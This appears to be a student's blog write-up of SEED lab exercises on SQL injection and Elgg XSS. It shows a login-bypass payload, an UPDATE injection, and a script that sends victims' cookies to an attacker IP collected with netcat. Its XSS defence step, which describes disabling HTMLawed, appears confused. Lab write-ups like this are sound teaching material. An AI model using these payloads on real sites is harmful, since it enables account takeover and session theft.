[20212901 薛德凡2021-2022-2 《网络攻防实践》第十次作业 ]

[20212901 薛德凡2021-2022-2 《网络攻防实践》第十次作业 ]

一、实践内容

  • 一、SEED SQL注入攻击与防御实验

    我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

    • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
    • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
    • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
    • SQL对抗:修复上述SQL注入攻击漏洞。

    二、SEED XSS跨站脚本攻击实验(Elgg)

    为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

    • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
    • 弹窗显示cookie信息:将cookie信息显示。
    • 窃取受害者的cookies:将cookie发送给攻击者。
    • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
    • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
    • 编写XSS蠕虫。
    • 对抗XSS攻击。

二、实验相关知识

1、SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以市面的防火墙都不会对SQL注入发出警报,如果管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。

sql注入攻击防范的方法

  1、定制黑白名单:将常用请求定制为白名单,一些攻击频繁的攻击限制其为黑名单,可以通过服务器安全狗进行实现,服务器安全狗可以针对攻击类型把对方ip进行封禁处理,也可也对常用ip进行加白名单。

  2、限制查询长度和类型:由于SQL注入过程中需要构造较长的SQL语句,同时有些不常用的查询类型我们可以进行限制,凡是不符合该类请求的都归结于非法请求予以限制。

  3、数据库用户的权限配置:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。

  4、限制目录权限:务器管理员还应在IIS中为每个网站设置好执行权限,WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。

2、XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括JavaVBScriptActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

与钓鱼攻击相比,XSS攻击所带来的危害更大,通常具有如下特点:

①由于XSS攻击在用户当前使用的应用程序中执行,用户将会看到与其有关的个性化信息,如账户信息或“欢迎回来”消息,克隆的Web站点不会显示个性化信息。

②通常,在钓鱼攻击中使用的克隆Web站点一经发现,就会立即被关闭。

③许多浏览器与安全防护软件产品都内置钓鱼攻击过滤器,可阻止用户访问恶意的克隆站点。

④如果客户访问一个克隆的Web网银站点,银行一般不承担责任。但是,如果攻击者通过银行应用程序中的XSS漏洞攻击了银行客户,则银行将不能简单地推卸责任。

三、实验内容

实践1、SEED SQL注入攻击与防御实验

1.1、熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

(1)使用sudo service apache2 status查看apache服务器运行状态,可以发现当前apache服务器正在运行中

image-20220518165124636

(2)使用命令mysql -u root -p登录数据库,对应的密码为seedubuntu

image-20220518165144468

(3)使用命令show databases;,查看当前包含的mysql数据库,此处不要忘记有!!!!!

image-20220518165330275

(4)使用命令use Users;代表目前我们要使用users数据库,并使用命令show tables;查看当前数据库中的所有表

image-20220518164948193

(5)使用命令select * from credential;查看credential表中的内容

image-20220518165423758

(6)使用命令select * from credential where Name = 'Ryan';可以查看表中name为Ryan的内容

image-20220518165625613

1.2、对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

(1)在firefox中输入网址www.SEEDLabSQLInjection.com,进入本实践所需的网站

image-20220518165826306

(2)右键选取View Page Source 查看网站的源代码

image-20220518170329004

(3)分析网页源代码找到unsafe_home.php

image-20220518170551693

(5)在浏览器中输入/var/www/SQLInjection/unsafe_home.php查看unsafe_home.php的相关代码

image-20220518171116124

(6)分析源代码发现其中的关键部分,可以发现该数据库对于普通用户和Admin用户的处理方式是不同的。

image-20220518171220833

image-20220518171353612

(7)构建用户名为Admin'#,“#”表示注释,后面的内容被注释掉,那么代码就不会对password进行检查

image-20220518171702453

(8)利用Admin'#作为用户名,密码为空值,成功登录。

image-20220518171720231

1.3、对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

(1)分析网页源代码可以发现,该网站将传入的参数传输到unsafe_edit_backend

image-20220518190850731

(2)在firefox中输入命令/var/www/SQLInjection/unsafe_edit_backend.php查看其中代码

image-20220518172018946

(3)根据该处代码可以构造相应的UPdate,SQL注入攻击。当nickname输入为salary=’20212901‘ where Name=’RYAN‘; #时就能够改变其中的sql语句

image-20220518191123224

(4)在nickname中输入salary=’20212901‘ where Name=’RYAN‘; #

image-20220518191713962

(5)初始Ryan的Salary和UPDATE SQL注入攻击后的Ryan的Salary如下图所示,攻击成功。

image-20220518191415644

image-20220518191657894

1.4、修复上述SQL注入攻击漏洞

(1)将unsafe_home.php中sql部分的代码进行修改为

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd);image-20220518192215772

(2)将unsafe_edit_backend.php中的sql语句修改为

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

image-20220518192842067

实践2、SEED XSS跨站脚本攻击实验(Elgg)

2.1、发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

(1)在firefox中登录网站www.xsslabelgg.com

image-20220518193451748

(2)使用Alice的账号进行登录。账号:Alice,密码:seedalice。登录后点击头像,选择Edit profile

image-20220518193708989

(3)在Brief description中输入<script> alert('xss');</script>,点击save,出现xxs警告

image-20220518193818859

2.2、弹窗显示cookie信息:将cookie信息显示

(1)在个人主页的Brief description中输入提前设计好的攻击代码<script> alert(document.cookie);</script>

image-20220518193933180

(2)点击save之后,出现如下图所示的cookie,显示cookie信息成功

image-20220518194023401

2.3、窃取受害者的cookies

(1)首先查看目前seed的ip地址,目前ip地址为192.168.200.9

image-20220518194214445

(2)在个人主页的Brief description中输入提前设计好的攻击代码<script>document.write('<img src=http://192.168.200.9:5555?c='+escape(document.cookie) + ' >');</script>

image-20220518194722388

(3)切换boby的账号

image-20220518195350857

(4)在member中访问alice

image-20220518195412637

(5)在终端输入nc -l 5555 -v监听5555端口,即可得到boby的cookie

image-20220518194658822

2.4、成为受害者的朋友

(1)在boby的主页中找到Alice,在能add friends处,查看网页源代码

image-20220518195831552

(2)可以发现点击add friend后,消息发往了"http://www.xsslabelgg.com/action/friends/add?friend=44&__elgg_ts=1652903845&__elgg_token=tDAb3RE2piylkvrawdUsPQ

image-20220518195806473

(3)根据上一步骤中参数friend代表好友的id,参数__elgg_ts代表时间戳,参数__elgg_token代表token,构建的XXS攻击代码如下

(4)在Alice的About me界面中输入上面的代码

image-20220518200655538

(5)切换到boby的账号可以发现Alice和Boby已经是好友了,攻击成功

image-20220518200826941

2.5、修改受害者的信息

(1)登录Alice账号,在Edit profile中选择查看网页源代码

image-20220518201047679

(2)在About me中发现,在修改About me的过程中,会与http://www.xsslabelgg.com/action/profile/edit产生信息交互

image-20220518201034917

(3)还可以发现其中包括__elgg_token__elgg_tsnamedescription等信息

image-20220518201231425

(4)因此根据上述信息构造攻击代码:

(5)将该攻击代码写入Alice的About me中,点击保存

image-20220518201556922

(6)切换到Boby账户后访问Alice的主页,在返回自己的主页可以发现About me中显示被xxs攻击成功

image-20220518202113396

2.6、编写XSS蠕虫

(1)利用2.5中使用的过的攻击代码,将其修改为

(2)将该代码置入Alice的About me中,点击保存

image-20220518202525259

(3)在Boby账户中访问Alice的主页,发现被感染,并且About me内容发生变化

image-20220518202621296

image-20220518202645873

(4)切换Charlie账户访问Alice主页,同样被感染,About me内容被修改image-20220518202749282

image-20220518202829360

2.7、对抗XSS攻击

(1)登录Admin账户

image-20220518202956612

(2)选择Administration中的Plugins

image-20220518203048601

(3)关闭其中的HTMLawed功能

image-20220518203217064

(4)再次换回Alice账号,可以发现其中的About me内容失效,无法进行上述攻击。

image-20220518203301223

四、学习中遇到的问题及解决

问题1:使用show databases查看当前包含的mysql数据库时,无反应

image-20220518164655066

问题1解决方案:命令中漏了一个;添加后解决问题。

问题2:在进行xxs攻击时,修改了Alice的About me后,Boby的About me没有变化

问题2解决方案:在Boby账户中需要再次访问Alice,才能够有效发生攻击。

五、实践总结

本次实验时间了sql数据库攻击,本科期间学习过数据库sql语言,对于其中的原理包括select、update等等比较熟悉,前半部分的实验比较轻松。后半部分的实验比较困难,特别是构造JS代码部分,参考了同学很大一部分。

posted @ 2022-05-18 22:38  纯蓝色111  阅读(23)  评论(0编辑  收藏  举报